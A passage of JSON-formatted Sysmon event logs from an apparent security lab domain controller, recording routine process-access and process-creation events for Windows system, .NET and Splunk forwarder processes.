ramework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010FB780C00}\r\nTargetProcessId: 4404\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010FB780C00}","TargetProcessId":"4404","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.526\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42E1-5F2D-0000-0010361F0E00}\r\nTargetProcessId: 4404\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.526","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42E1-5F2D-0000-0010361F0E00}","TargetProcessId":"4404","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.604\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010BB220D00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.604","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010BB220D00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.604\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010BB220D00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.604","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010BB220D00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010BB220D00}\r\nTargetProcessId: 4436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010BB220D00}","TargetProcessId":"4436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.793\r\nProcessGuid: {90617006-42E1-5F2D-0000-0010C5250E00}\r\nProcessId: 3904\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.793","ProcessGuid":"{90617006-42E1-5F2D-0000-0010C5250E00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42E1-5F2D-0000-0010C5250E00}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42E1-5F2D-0000-0010C5250E00}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E1-5F2D-0000-0010C5250E00}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E1-5F2D-0000-0010C5250E00}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42E1-5F2D-0000-0010C5250E00}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:41.791","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42E1-5F2D-0000-0010C5250E00}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:41.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 